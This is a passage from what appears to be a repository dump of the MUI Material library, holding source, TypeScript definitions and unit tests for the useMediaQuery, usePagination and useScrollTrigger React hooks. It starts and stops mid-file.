    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport {\n  act,\n  createRenderer,\n  screen,\n  RenderCounter,\n  strictModeDoubleLoggingSuppressed,\n} from '@mui/internal-test-utils';\nimport mediaQuery from 'css-mediaquery';\nimport { expect } from 'chai';\nimport { stub } from 'sinon';\nimport useMediaQuery from '@mui/material/useMediaQuery';\nimport { THEME_ID, ThemeProvider, createTheme } from '@mui/material/styles';\n\nconst usesUseSyncExternalStore = React.useSyncExternalStore !== undefined;\nconst matchMediaInstances = new Map();\n\nfunction createMatchMedia(width) {\n  const listeners = [];\n  return (query) => {\n    let instance = matchMediaInstances.get(query)?.instance;\n\n    if (!instance) {\n      instance = {\n        matches: mediaQuery.match(query, {\n          width,\n        }),\n        addEventListener: (eventType, listener) => {\n          listeners.push(listener);\n        },\n        removeEventListener: (eventType, listener) => {\n          const index = listeners.indexOf(listener);\n          if (index > -1) {\n            listeners.splice(index, 1);\n          }\n        },\n      };\n      matchMediaInstances.set(query, {\n        instance,\n        listeners,\n      });\n    }\n\n    return instance;\n  };\n}\n\ndescribe('useMediaQuery', () => {\n  const { render, renderToString } = createRenderer({ strict: true });\n\n  beforeEach(() => {\n    matchMediaInstances.clear();\n  });\n\n  describe('without window.matchMedia', () => {\n    let originalMatchmedia;\n\n    beforeEach(() => {\n      originalMatchmedia = window.matchMedia;\n      delete window.matchMedia;\n    });\n\n    afterEach(() => {\n      window.matchMedia = originalMatchmedia;\n    });\n\n    it('should work without window.matchMedia available', () => {\n      expect(typeof window.matchMedia).to.equal('undefined');\n      function Test() {\n        const matches = useMediaQuery('(min-width:100px)');\n        return <span data-testid=\"matches\">{`${matches}`}</span>;\n      }\n\n      render(<Test />);\n      expect(screen.getByTestId('matches').textContent).to.equal('false');\n    });\n  });\n\n  describe('with window.matchMedia', () => {\n    beforeEach(() => {\n      const fakeMatchMedia = createMatchMedia(1200);\n      // can't stub nonexistent properties with sinon\n      // jsdom does not implement window.matchMedia\n      if (window.matchMedia === undefined) {\n        window.matchMedia = fakeMatchMedia;\n        window.matchMedia.restore = () => {\n          delete window.matchMedia;\n        };\n      } else {\n        stub(window, 'matchMedia').callsFake(fakeMatchMedia);\n      }\n    });\n\n    afterEach(() => {\n      window.matchMedia.restore();\n    });\n\n    describe('option: defaultMatches', () => {\n      it('should be false by default', () => {\n        const getRenderCountRef = React.createRef();\n        function Test() {\n          const matches = useMediaQuery('(min-width:2000px)');\n          return (\n            <RenderCounter ref={getRenderCountRef}>\n              <span data-testid=\"matches\">{`${matches}`}</span>\n            </RenderCounter>\n          );\n        }\n\n        render(<Test />);\n        expect(screen.getByTestId('matches').textContent).to.equal('false');\n        expect(getRenderCountRef.current()).to.equal(1);\n      });\n\n      it('should take the option into account', () => {\n        const getRenderCountRef = React.createRef();\n        function Test() {\n          const matches = useMediaQuery('(min-width:2000px)', {\n            defaultMatches: true,\n          });\n          return (\n            <RenderCounter ref={getRenderCountRef}>\n              <span data-testid=\"matches\">{`${matches}`}</span>\n            </RenderCounter>\n          );\n        }\n\n        render(<Test />);\n        expect(screen.getByTestId('matches').textContent).to.equal('false');\n        expect(getRenderCountRef.current()).to.equal(usesUseSyncExternalStore ? 1 : 2);\n      });\n    });\n\n    describe('option: noSsr', () => {\n      it('should render once if the default value match the expectation', () => {\n        const getRenderCountRef = React.createRef();\n        function Test() {\n          const matches = useMediaQuery('(min-width:2000px)', {\n            defaultMatches: false,\n          });\n\n          return (\n            <RenderCounter ref={getRenderCountRef}>\n              <span data-testid=\"matches\">{`${matches}`}</span>\n            </RenderCounter>\n          );\n        }\n\n        render(<Test />);\n        expect(screen.getByTestId('matches').textContent).to.equal('false');\n        expect(getRenderCountRef.current()).to.equal(1);\n      });\n\n      it('render API: should render once if the default value does not match the expectation', () => {\n        const getRenderCountRef = React.createRef();\n        function Test() {\n          const matches = useMediaQuery('(min-width:2000px)', {\n            defaultMatches: true,\n          });\n\n          return (\n            <RenderCounter ref={getRenderCountRef}>\n              <span data-testid=\"matches\">{`${matches}`}</span>\n            </RenderCounter>\n          );\n        }\n\n        render(<Test />);\n        expect(screen.getByTestId('matches').textContent).to.equal('false');\n        expect(getRenderCountRef.current()).to.equal(usesUseSyncExternalStore ? 1 : 2);\n      });\n\n      it('render API: should render once if the default value does not match the expectation but `noSsr` is enabled', () => {\n        const getRenderCountRef = React.createRef();\n        function Test() {\n          const matches = useMediaQuery('(min-width:2000px)', {\n            defaultMatches: true,\n            noSsr: true,\n          });\n\n          return (\n            <RenderCounter ref={getRenderCountRef}>\n              <span data-testid=\"matches\">{`${matches}`}</span>\n            </RenderCounter>\n          );\n        }\n\n        render(<Test />);\n        expect(screen.getByTestId('matches').textContent).to.equal('false');\n        expect(getRenderCountRef.current()).to.equal(1);\n      });\n\n      it('hydrate API: should render twice if the default value does not match the expectation', () => {\n        const getRenderCountRef = React.createRef();\n        function Test() {\n          const matches = useMediaQuery('(min-width:2000px)', {\n            defaultMatches: true,\n          });\n\n          return (\n            <RenderCounter ref={getRenderCountRef}>\n              <span data-testid=\"matches\">{`${matches}`}</span>\n            </RenderCounter>\n          );\n        }\n\n        const { hydrate } = renderToString(<Test />);\n        hydrate();\n        expect(screen.getByTestId('matches').textContent).to.equal('false');\n        expect(getRenderCountRef.current()).to.equal(2);\n      });\n\n      it('hydrate API: should render once if the default value does not match the expectation but `noSsr` is enabled', () => {\n        const getRenderCountRef = React.createRef();\n        function Test() {\n          const matches = useMediaQuery('(min-width:2000px)', {\n            defaultMatches: true,\n            noSsr: true,\n          });\n\n          return (\n            <RenderCounter ref={getRenderCountRef}>\n              <span data-testid=\"matches\">{`${matches}`}</span>\n            </RenderCounter>\n          );\n        }\n\n        const { hydrate } = renderToString(<Test />);\n        hydrate();\n        expect(screen.getByTestId('matches').textContent).to.equal('false');\n        expect(getRenderCountRef.current()).to.equal(1);\n      });\n    });\n\n    it('should try to reconcile each time', () => {\n      const getRenderCountRef = React.createRef();\n      function Test() {\n        const matches = useMediaQuery('(min-width:2000px)', {\n          defaultMatches: true,\n        });\n\n        return (\n          <RenderCounter ref={getRenderCountRef}>\n            <span data-testid=\"matches\">{`${matches}`}</span>\n          </RenderCounter>\n        );\n      }\n\n      const view = render(<Test />);\n      expect(screen.getByTestId('matches').textContent).to.equal('false');\n      expect(getRenderCountRef.current()).to.equal(usesUseSyncExternalStore ? 1 : 2);\n\n      view.unmount();\n\n      render(<Test />);\n      expect(screen.getByTestId('matches').textContent).to.equal('false');\n      expect(getRenderCountRef.current()).to.equal(usesUseSyncExternalStore ? 1 : 2);\n    });\n\n    it('should be able to change the query dynamically', () => {\n      const getRenderCountRef = React.createRef();\n      function Test(props) {\n        const matches = useMediaQuery(props.query, {\n          defaultMatches: true,\n        });\n\n        return (\n          <RenderCounter ref={getRenderCountRef}>\n            <span data-testid=\"matches\">{`${matches}`}</span>\n          </RenderCounter>\n        );\n      }\n      Test.propTypes = {\n        query: PropTypes.string.isRequired,\n      };\n\n      const { setProps } = render(<Test query=\"(min-width:2000px)\" />);\n      expect(screen.getByTestId('matches').textContent).to.equal('false');\n      expect(getRenderCountRef.current()).to.equal(usesUseSyncExternalStore ? 1 : 2);\n      setProps({ query: '(min-width:100px)' });\n      expect(screen.getByTestId('matches').textContent).to.equal('true');\n      expect(getRenderCountRef.current()).to.equal(usesUseSyncExternalStore ? 2 : 4);\n    });\n\n    it('should observe the media query', async () => {\n      const getRenderCountRef = React.createRef();\n      const query = '(min-width:2000px)';\n      function Test(props) {\n        const matches = useMediaQuery(props.query);\n\n        return (\n          <RenderCounter ref={getRenderCountRef}>\n            <span data-testid=\"matches\">{`${matches}`}</span>\n          </RenderCounter>\n        );\n      }\n      Test.propTypes = {\n        query: PropTypes.string.isRequired,\n      };\n\n      render(<Test query={query} />);\n\n      expect(getRenderCountRef.current()).to.equal(1);\n      expect(screen.getByTestId('matches').textContent).to.equal('false');\n\n      await act(async () => {\n        matchMediaInstances.get(query).instance.matches = true;\n        matchMediaInstances.get(query).listeners[0]();\n      });\n\n      expect(screen.getByTestId('matches').textContent).to.equal('true');\n      expect(getRenderCountRef.current()).to.equal(2);\n    });\n  });\n\n  describe('server-side', () => {\n    it('should use the SSR match media implementation', () => {\n      function MyComponent() {\n        const matches = useMediaQuery('(min-width:2000px)');\n\n        return <span>{`${matches}`}</span>;\n      }\n\n      function Test() {\n        const ssrMatchMedia = (query) => ({\n          matches: mediaQuery.match(query, {\n            width: 3000,\n          }),\n        });\n\n        return (\n          <ThemeProvider\n            theme={{ components: { MuiUseMediaQuery: { defaultProps: { ssrMatchMedia } } } }}\n          >\n            <MyComponent />\n          </ThemeProvider>\n        );\n      }\n\n      const { container } = renderToString(<Test />);\n\n      expect(container.firstChild).to.have.text('true');\n    });\n  });\n\n  describe('theme scoping', () => {\n    it('should work with theme scoping', () => {\n      function MyComponent() {\n        const matches = useMediaQuery((theme) => theme.breakpoints.up('xl'));\n\n        return <span>{`${matches}`}</span>;\n      }\n\n      function Test() {\n        const ssrMatchMedia = (query) => ({\n          matches: mediaQuery.match(query, {\n            width: 3000,\n          }),\n        });\n\n        return (\n          <ThemeProvider\n            theme={{\n              [THEME_ID]: createTheme({\n                components: { MuiUseMediaQuery: { defaultProps: { ssrMatchMedia } } },\n              }),\n            }}\n          >\n            <MyComponent />\n          </ThemeProvider>\n        );\n      }\n\n      const { container } = renderToString(<Test />);\n\n      expect(container.firstChild).to.have.text('true');\n    });\n  });\n\n  describe('warnings', () => {\n    it('warns on invalid `query` argument', () => {\n      function MyComponent() {\n        useMediaQuery(() => '(min-width:2000px)');\n        return null;\n      }\n\n      expect(() => {\n        render(<MyComponent />);\n      }).toErrorDev([\n        'MUI: The `query` argument provided is invalid',\n        !strictModeDoubleLoggingSuppressed && 'MUI: The `query` argument provided is invalid',\n      ]);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/usePagination/index.d.ts",
    "content": "export { default } from './usePagination';\nexport * from './usePagination';\n"
  },
  {
    "path": "packages/mui-material/src/usePagination/index.js",
    "content": "export { default } from './usePagination';\n"
  },
  {
    "path": "packages/mui-material/src/usePagination/usePagination.d.ts",
    "content": "import * as React from 'react';\n\nexport interface UsePaginationProps {\n  /**\n   * Number of always visible pages at the beginning and end.\n   * @default 1\n   */\n  boundaryCount?: number | undefined;\n  /**\n   * The name of the component where this hook is used.\n   */\n  componentName?: string | undefined;\n  /**\n   * The total number of pages.\n   * @default 1\n   */\n  count?: number | undefined;\n  /**\n   * The page selected by default when the component is uncontrolled.\n   * @default 1\n   */\n  defaultPage?: number | undefined;\n  /**\n   * If `true`, the component is disabled.\n   * @default false\n   */\n  disabled?: boolean | undefined;\n  /**\n   * If `true`, hide the next-page button.\n   * @default false\n   */\n  hideNextButton?: boolean | undefined;\n  /**\n   * If `true`, hide the previous-page button.\n   * @default false\n   */\n  hidePrevButton?: boolean | undefined;\n  /**\n   * Callback fired when the page is changed.\n   *\n   * @param {React.ChangeEvent<unknown>} event The event source of the callback.\n   * @param {number} page The page selected.\n   */\n  onChange?: ((event: React.ChangeEvent<unknown>, page: number) => void) | undefined;\n  /**\n   * The current page. Unlike `TablePagination`, which starts numbering from `0`, this pagination starts from `1`.\n   */\n  page?: number | undefined;\n  /**\n   * If `true`, show the first-page button.\n   * @default false\n   */\n  showFirstButton?: boolean | undefined;\n  /**\n   * If `true`, show the last-page button.\n   * @default false\n   */\n  showLastButton?: boolean | undefined;\n  /**\n   * Number of always visible pages before and after the current page.\n   * @default 1\n   */\n  siblingCount?: number | undefined;\n}\n\nexport interface UsePaginationItem {\n  onClick: React.ReactEventHandler;\n  type: 'page' | 'first' | 'last' | 'next' | 'previous' | 'start-ellipsis' | 'end-ellipsis';\n  page: number | null;\n  selected: boolean;\n  disabled: boolean;\n}\n\nexport interface UsePaginationResult {\n  items: UsePaginationItem[];\n}\n\nexport default function usePagination(props: UsePaginationProps): UsePaginationResult;\n"
  },
  {
    "path": "packages/mui-material/src/usePagination/usePagination.js",
    "content": "'use client';\nimport useControlled from '@mui/utils/useControlled';\n\nexport default function usePagination(props = {}) {\n  // keep default values in sync with @default tags in Pagination.propTypes\n  const {\n    boundaryCount = 1,\n    componentName = 'usePagination',\n    count = 1,\n    defaultPage = 1,\n    disabled = false,\n    hideNextButton = false,\n    hidePrevButton = false,\n    onChange: handleChange,\n    page: pageProp,\n    showFirstButton = false,\n    showLastButton = false,\n    siblingCount = 1,\n    ...other\n  } = props;\n\n  const [page, setPageState] = useControlled({\n    controlled: pageProp,\n    default: defaultPage,\n    name: componentName,\n    state: 'page',\n  });\n\n  const handleClick = (event, value) => {\n    if (!pageProp) {\n      setPageState(value);\n    }\n    if (handleChange) {\n      handleChange(event, value);\n    }\n  };\n\n  // https://dev.to/namirsab/comment/2050\n  const range = (start, end) => {\n    const length = end - start + 1;\n    return Array.from({ length }, (_, i) => start + i);\n  };\n\n  const startPages = range(1, Math.min(boundaryCount, count));\n  const endPages = range(Math.max(count - boundaryCount + 1, boundaryCount + 1), count);\n\n  const siblingsStart = Math.max(\n    Math.min(\n      // Natural start\n      page - siblingCount,\n      // Lower boundary when page is high\n      count - boundaryCount - siblingCount * 2 - 1,\n    ),\n    // Greater than startPages\n    boundaryCount + 2,\n  );\n\n  const siblingsEnd = Math.min(\n    Math.max(\n      // Natural end\n      page + siblingCount,\n      // Upper boundary when page is low\n      boundaryCount + siblingCount * 2 + 2,\n    ),\n    // Less than endPages\n    count - boundaryCount - 1,\n  );\n\n  // Basic list of items to render\n  // for example itemList = ['first', 'previous', 1, 'ellipsis', 4, 5, 6, 'ellipsis', 10, 'next', 'last']\n  const itemList = [\n    ...(showFirstButton ? ['first'] : []),\n    ...(hidePrevButton ? [] : ['previous']),\n    ...startPages,\n\n    // Start ellipsis\n    // eslint-disable-next-line no-nested-ternary\n    ...(siblingsStart > boundaryCount + 2\n      ? ['start-ellipsis']\n      : boundaryCount + 1 < count - boundaryCount\n        ? [boundaryCount + 1]\n        : []),\n\n    // Sibling pages\n    ...range(siblingsStart, siblingsEnd),\n\n    // End ellipsis\n    // eslint-disable-next-line no-nested-ternary\n    ...(siblingsEnd < count - boundaryCount - 1\n      ? ['end-ellipsis']\n      : count - boundaryCount > boundaryCount\n        ? [count - boundaryCount]\n        : []),\n\n    ...endPages,\n    ...(hideNextButton ? [] : ['next']),\n    ...(showLastButton ? ['last'] : []),\n  ];\n\n  // Map the button type to its page number\n  const buttonPage = (type) => {\n    switch (type) {\n      case 'first':\n        return 1;\n      case 'previous':\n        return page - 1;\n      case 'next':\n        return page + 1;\n      case 'last':\n        return count;\n      default:\n        return null;\n    }\n  };\n\n  // Convert the basic item list to PaginationItem props objects\n  const items = itemList.map((item) => {\n    return typeof item === 'number'\n      ? {\n          onClick: (event) => {\n            handleClick(event, item);\n          },\n          type: 'page',\n          page: item,\n          selected: item === page,\n          disabled,\n          'aria-current': item === page ? 'page' : undefined,\n        }\n      : {\n          onClick: (event) => {\n            handleClick(event, buttonPage(item));\n          },\n          type: item,\n          page: buttonPage(item),\n          selected: false,\n          disabled:\n            disabled ||\n            (!item.includes('ellipsis') &&\n              (item === 'next' || item === 'last' ? page >= count : page <= 1)),\n        };\n  });\n\n  return {\n    items,\n    ...other,\n  };\n}\n"
  },
  {
    "path": "packages/mui-material/src/usePagination/usePagination.test.js",
    "content": "import * as React from 'react';\nimport { createRenderer } from '@mui/internal-test-utils';\nimport { expect } from 'chai';\nimport usePagination from '@mui/material/usePagination';\n\ndescribe('usePagination', () => {\n  const { render } = createRenderer();\n  const serialize = (items) => items.map((item) => (item.type === 'page' ? item.page : item.type));\n\n  const renderHook = (useHook) => {\n    const result = React.createRef();\n    function TestCase() {\n      const hookResult = useHook();\n      React.useEffect(() => {\n        result.current = hookResult;\n      }, [hookResult]);\n      return null;\n    }\n    render(<TestCase />);\n    return { result };\n  };\n\n  it('has one page by default', () => {\n    const { items } = renderHook(() => usePagination()).result.current;\n    expect(items).to.have.length(3);\n    expect(items[1]).to.have.property('page', 1);\n  });\n\n  it('has disabled previous & next buttons by default', () => {\n    const { items } = renderHook(() => usePagination()).result.current;\n    expect(items[0]).to.have.property('type', 'previous');\n    expect(items[0]).to.have.property('disabled', true);\n    expect(items[2]).to.have.property('type', 'next');\n    expect(items[2]).to.have.property('disabled', true);\n  });\n\n  it('has a disabled previous button & an enabled next button when count > 1', () => {\n    const { items } = renderHook(() => usePagination({ count: 2 })).result.current;\n    expect(items[0]).to.have.property('type', 'previous');\n    expect(items[0]).to.have.property('disabled', true);\n    expect(items[3]).to.have.property('type', 'next');\n    expect(items[3]).to.have.property('disabled', false);\n    expect(items[3]).to.have.property('page', 2);\n  });\n\n  it('has an enabled previous button & disabled next button when page === count', () => {\n    const { items } = renderHook(() => usePagination({ count: 2, page: 2 })).result.current;\n    expect(items[0]).to.have.property('type', 'previous');\n    expect(items[0]).to.have.property('disabled', false);\n    expect(items[0]).to.have.property('page', 1);\n    expect(items[3]).to.have.property('type', 'next');\n    expect(items[3]).to.have.property('disabled', true);\n  });\n\n  it('has a disabled first button when showFirstButton === true', () => {\n    const { items } = renderHook(() => usePagination({ showFirstButton: true })).result.current;\n    expect(items[0]).to.have.property('type', 'first');\n    expect(items[0]).to.have.property('disabled', true);\n    expect(items[0]).to.have.property('page', 1);\n  });\n\n  it('has a disabled last button when showLastButton === true', () => {\n    const { items } = renderHook(() => usePagination({ showLastButton: true })).result.current;\n    expect(items[3]).to.have.property('type', 'last');\n    expect(items[3]).to.have.property('disabled', true);\n    expect(items[3]).to.have.property('page', 1);\n  });\n\n  it('has an enabled first button when showFirstButton === true && page > 1', () => {\n    const { items } = renderHook(() => usePagination({ showFirstButton: true, count: 2, page: 2 }))\n      .result.current;\n    expect(items[0]).to.have.property('type', 'first');\n    expect(items[0]).to.have.property('disabled', false);\n    expect(items[0]).to.have.property('page', 1);\n  });\n\n  it('has an enabled last button when showLastButton === true && page < count', () => {\n    const { items } = renderHook(() => usePagination({ showLastButton: true, count: 2 })).result\n      .current;\n    expect(items[4]).to.have.property('type', 'last');\n    expect(items[4]).to.have.property('disabled', false);\n    expect(items[4]).to.have.property('page', 2);\n  });\n\n  it('has no ellipses when count <= 7', () => {\n    const { items } = renderHook(() => usePagination({ count: 7 })).result.current;\n    expect(items[1]).to.have.property('page', 1);\n    expect(items[2]).to.have.property('page', 2);\n    expect(items[3]).to.have.property('page', 3);\n    expect(items[4]).to.have.property('page', 4);\n    expect(items[5]).to.have.property('page', 5);\n    expect(items[6]).to.have.property('page', 6);\n    expect(items[7]).to.have.property('page', 7);\n  });\n\n  it('has an end ellipsis by default when count >= 8', () => {\n    const { items } = renderHook(() => usePagination({ count: 8 })).result.current;\n    expect(items).to.have.length(9);\n    expect(items[2]).to.have.property('page', 2);\n    expect(items[6]).to.have.property('type', 'end-ellipsis');\n    expect(items[6]).to.have.property('page', null);\n  });\n\n  it('has a start ellipsis when page >= 5', () => {\n    const { items } = renderHook(() => usePagination({ count: 8, page: 5 })).result.current;\n    expect(items[2]).to.have.property('type', 'start-ellipsis');\n    expect(items[2]).to.have.property('page', null);\n    expect(items[6]).to.have.property('page', 7);\n  });\n\n  it('has start & end ellipsis when count >= 9', () => {\n    const { items } = renderHook(() => usePagination({ count: 9, page: 5 })).result.current;\n    expect(items).to.have.length(9);\n    expect(items[2]).to.have.property('type', 'start-ellipsis');\n    expect(items[2]).to.have.property('page', null);\n    expect(items[6]).to.have.property('type', 'end-ellipsis');\n    expect(items[6]).to.have.property('page', null);\n  });\n\n  it('can have a reduced siblingCount', () => {\n    const { items } = renderHook(() => usePagination({ count: 7, page: 4, siblingCount: 0 })).result\n      .current;\n    expect(items).to.have.length(7);\n    expect(items[2]).to.have.property('type', 'start-ellipsis');\n    expect(items[3]).to.have.property('page', 4);\n    expect(items[4]).to.have.property('type', 'end-ellipsis');\n  });\n\n  it('can have an increased siblingCount', () => {\n    const { items } = renderHook(() => usePagination({ count: 11, page: 6, siblingCount: 2 }))\n      .result.current;\n    expect(items).to.have.length(11);\n    expect(items[2]).to.have.property('type', 'start-ellipsis');\n    expect(items[3]).to.have.property('page', 4);\n    expect(items[4]).to.have.property('page', 5);\n    expect(items[5]).to.have.property('page', 6);\n    expect(items[6]).to.have.property('page', 7);\n    expect(items[7]).to.have.property('page', 8);\n    expect(items[8]).to.have.property('type', 'end-ellipsis');\n  });\n\n  it('can have an increased boundaryCount', () => {\n    const { items } = renderHook(() => usePagination({ count: 11, page: 6, boundaryCount: 2 }))\n      .result.current;\n    expect(items).to.have.length(11);\n    expect(items[1]).to.have.property('page', 1);\n    expect(items[2]).to.have.property('page', 2);\n    expect(items[3]).to.have.property('type', 'start-ellipsis');\n    expect(items[7]).to.have.property('type', 'end-ellipsis');\n    expect(items[8]).to.have.property('page', 10);\n    expect(items[9]).to.have.property('page', 11);\n  });\n\n  it('should support boundaryCount={0}', () => {\n    let items;\n\n    items = renderHook(() =>\n      usePagination({ count: 11, page: 6, boundaryCount: 0, siblingCount: 0 }),\n    ).result.current.items;\n    expect(serialize(items)).to.deep.equal([\n      'previous',\n      'start-ellipsis',\n      6,\n      'end-ellipsis',\n      'next',\n    ]);\n\n    items = renderHook(() =>\n      usePagination({ count: 11, page: 6, boundaryCount: 0, siblingCount: 1 }),\n    ).result.current.items;\n    expect(serialize(items)).to.deep.equal([\n      'previous',\n      'start-ellipsis',\n      5,\n      6,\n      7,\n      'end-ellipsis',\n      'next',\n    ]);\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/useScrollTrigger/index.d.ts",
    "content": "export { default } from './useScrollTrigger';\n"
  },
  {
    "path": "packages/mui-material/src/useScrollTrigger/index.js",
    "content": "export { default } from './useScrollTrigger';\n"
  },
  {
    "path": "packages/mui-material/src/useScrollTrigger/useScrollTrigger.d.ts",
    "content": "export interface UseScrollTriggerOptions {\n  disableHysteresis?: boolean | undefined;\n  target?: Node | Window | null | undefined;\n  threshold?: number | undefined;\n}\n\nexport default function useScrollTrigger(options?: UseScrollTriggerOptions): boolean;\n"
  },
  {
    "path": "packages/mui-material/src/useScrollTrigger/useScrollTrigger.js",
    "content": "'use client';\nimport * as React from 'react';\n\nfunction defaultTrigger(store, options) {\n  const { disableHysteresis = false, threshold = 100, target } = options;\n  const previous = store.current;\n\n  if (target) {\n    // Get vertical scroll\n    store.current = target.pageYOffset !== undefined ? target.pageYOffset : target.scrollTop;\n  }\n\n  if (!disableHysteresis && previous !== undefined) {\n    if (store.current < previous) {\n      return false;\n    }\n  }\n\n  return store.current > threshold;\n}\n\nconst defaultTarget = typeof window !== 'undefined' ? window : null;\n\nexport default function useScrollTrigger(options = {}) {\n  const { getTrigger = defaultTrigger, target = defaultTarget, ...other } = options;\n  const store = React.useRef();\n  const [trigger, setTrigger] = React.useState(() => getTrigger(store, other));\n  React.useEffect(() => {\n    if (target === null) {\n      return setTrigger(false);\n    }\n    const handleScroll = () => {\n      setTrigger(getTrigger(store, { target, ...other }));\n    };\n\n    handleScroll(); // Re-evaluate trigger when dependencies change\n    target.addEventListener('scroll', handleScroll, { passive: true });\n    return () => {\n      target.removeEventListener('scroll', handleScroll, { passive: true });\n    };\n    // See Option 3. https://github.com/facebook/react/issues/14476#issuecomment-471199055\n    // TODO: uncomment once we enable eslint-plugin-react-compiler // eslint-disable-next-line react-compiler/react-compiler\n    // eslint-disable-next-line react-hooks/exhaustive-deps\n  }, [target, getTrigger, JSON.stringify(other)]);\n\n  return trigger;\n}\n"
  },
  {
    "path": "packages/mui-material/src/useScrollTrigger/useScrollTrigger.test.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport { expect } from 'chai';\nimport { act, createRenderer, RenderCounter, screen, isJsdom } from '@mui/internal-test-utils';\nimport useScrollTrigger from '@mui/material/useScrollTrigger';\nimport Container from '@mui/material/Container';\nimport Box from '@mui/material/Box';\n\ndescribe('useScrollTrigger', () => {\n  const { render } = createRenderer();\n\n  describe('defaultTrigger', () => {\n    it('should be false by default', () => {\n      const getRenderCountRef = React.createRef();\n      function TestDefault() {\n        const trigger = useScrollTrigger();\n        return (\n          <RenderCounter ref={getRenderCountRef}>\n            <span data-testid=\"trigger\">{`${trigger}`}</span>\n          </RenderCounter>\n        );\n      }\n\n      render(<TestDefault />);\n\n      expect(screen.getByTestId('trigger').textContent).to.equal('false');\n      expect(getRenderCountRef.current()).to.equal(1);\n    });\n\n    it('should be false by default when using ref', () => {\n      const getRenderCountRef = React.createRef();\n      const triggerRef = React.createRef();\n      function TestDefaultWithRef() {\n        const [container, setContainer] = React.useState();\n        const trigger = useScrollTrigger({\n          target: container,\n        });\n        return (\n          <RenderCounter ref={getRenderCountRef}>\n            <span ref={triggerRef}>{`${trigger}`}</span>\n            <span ref={setContainer} />\n          </RenderCounter>\n        );\n      }\n      render(<TestDefaultWithRef />);\n      expect(triggerRef.current.textContent).to.equal('false');\n      expect(getRenderCountRef.current()).to.equal(2);\n    });\n\n    it('should do nothing when ref is null', () => {\n      const getRenderCountRef = React.createRef();\n      const triggerRef = React.createRef();\n      function TestWithNullRef() {\n        const [container, setContainer] = React.useState(null);\n        const trigger = useScrollTrigger({\n          target: container,\n        });\n        return (\n          <RenderCounter ref={getRenderCountRef}>\n            <span ref={triggerRef}>{`${trigger}`}</span>\n            <span ref={setContainer} />\n          </RenderCounter>\n        );\n      }\n      render(<TestWithNullRef />);\n      expect(triggerRef.current.textContent).to.equal('false');\n      expect(getRenderCountRef.current()).to.equal(2);\n    });\n  });\n\n  describe.skipIf(!isJsdom())('scroll', () => {\n    const triggerRef = React.createRef();\n    const containerRef = React.createRef(); // Get the scroll container's parent\n    const getContainer = () => containerRef.current.children[0]; // Get the scroll container\n    const getTriggerValue = () => triggerRef.current.textContent; // Retrieve the trigger value\n\n    function Test(props) {\n      const { customContainer, ...other } = props;\n      const [container, setContainer] = React.useState();\n      const trigger = useScrollTrigger({ ...other, target: container });\n\n      return (\n        <React.Fragment>\n          <span ref={triggerRef}>{`${trigger}`}</span>\n          <div ref={containerRef}>\n            <Container ref={customContainer ? setContainer : null}>\n              <Box sx={{ my: 2 }}>Custom container</Box>\n            </Container>\n          </div>\n        </React.Fragment>\n      );\n    }\n\n    Test.propTypes = {\n      customContainer: PropTypes.bool,\n    };\n\n    function dispatchScroll(offset, element = window) {\n      act(() => {\n        element.pageYOffset = offset;\n        element.dispatchEvent(new window.Event('scroll', {}));\n      });\n    }\n\n    it('scroll container should render with ref', () => {\n      const { container } = render(<Test customContainer />);\n      expect(container.textContent).to.include('Custom container');\n    });\n\n    it('should not trigger from window scroll events with ref', () => {\n      render(<Test customContainer />);\n      [101, 200, 300, -10, 100, 101, 99, 200, 199, 0, 1, -1, 150].forEach((offset, i) => {\n        dispatchScroll(offset);\n        expect(getTriggerValue()).to.equal('false', `Index: ${i} Offset: ${offset}`);\n      });\n    });\n\n    it('should trigger above default threshold with ref', () => {\n      render(<Test customContainer />);\n      dispatchScroll(300, getContainer());\n      expect(getTriggerValue()).to.equal('true');\n    });\n\n    it('should have correct hysteresis triggering threshold with ref', () => {\n      render(<Test customContainer />);\n      [\n        { offset: 100, result: 'false' },\n        { offset: 101, result: 'true' },\n        { offset: 100, result: 'false' },\n        { offset: 99, result: 'false' },\n        { offset: 100, result: 'false' },\n        { offset: 101, result: 'true' },\n        { offset: 102, result: 'true' },\n        { offset: 101, result: 'false' },\n        { offset: 99, result: 'false' },\n        { offset: 100, result: 'false' },\n        { offset: 101, result: 'true' },\n        { offset: 100, result: 'false' },\n        { offset: 102, result: 'true' },\n        { offset: -3, result: 'false' },\n        { offset: 3, result: 'false' },\n        { offset: 103, result: 'true' },\n        { offset: 102, result: 'false' },\n      ].forEach((test, index) => {\n        dispatchScroll(test.offset, getContainer());\n        expect(getTriggerValue()).to.equal(test.result, `Index: ${index} ${JSON.stringify(test)}`);\n      });\n    });\n\n    it('should have correct hysteresis triggering with default threshold with ref', () => {\n      render(<Test customContainer disableHysteresis />);\n      [\n        { offset: 100, result: 'false' },\n        { offset: 101, result: 'true' },\n        { offset: 200, result: 'true' },\n        { offset: 101, result: 'true' },\n        { offset: 100, result: 'false' },\n        { offset: 101, result: 'true' },\n        { offset: 9999, result: 'true' },\n        { offset: 0, result: 'false' },\n        { offset: 99, result: 'false' },\n        { offset: 100, result: 'false' },\n        { offset: 101, result: 'true' },\n        { offset: 100, result: 'false' },\n        { offset: 102, result: 'true' },\n        { offset: -3, result: 'false' },\n        { offset: 3, result: 'false' },\n        { offset: 103, result: 'true' },\n      ].forEach((test, index) => {\n        dispatchScroll(test.offset, getContainer());\n        expect(getTriggerValue()).to.equal(test.result, `Index: ${index} ${JSON.stringify(test)}`);\n      });\n    });\n\n    it('should have correct hysteresis triggering with custom threshold with ref', () => {\n      render(<Test customContainer disableHysteresis threshold={50} />);\n      [\n        { offset: 100, result: 'true' },\n        { offset: 101, result: 'true' },\n        { offset: 101, result: 'true' },\n        { offset: 9999, result: 'true' },\n        { offset: 51, result: 'true' },\n        { offset: 50, result: 'false' },\n        { offset: 49, result: 'false' },\n        { offset: 50, result: 'false' },\n        { offset: 51, result: 'true' },\n        { offset: 49, result: 'false' },\n        { offset: 150, result: 'true' },\n        { offset: -50, result: 'false' },\n        { offset: 50, result: 'false' },\n        { offset: 51, result: 'true' },\n      ].forEach((test, index) => {\n        dispatchScroll(test.offset, getContainer());\n        expect(getTriggerValue()).to.equal(test.result, `Index: ${index} ${JSON.stringify(test)}`);\n      });\n    });\n\n    it('should not trigger at exact threshold value with ref', () => {\n      render(<Test customContainer threshold={100} />);\n      [\n        { offset: 100, result: 'false' },\n        { offset: 99, result: 'false' },\n        { offset: 100, result: 'false' },\n        { offset: 101, result: 'true' },\n        { offset: 100, 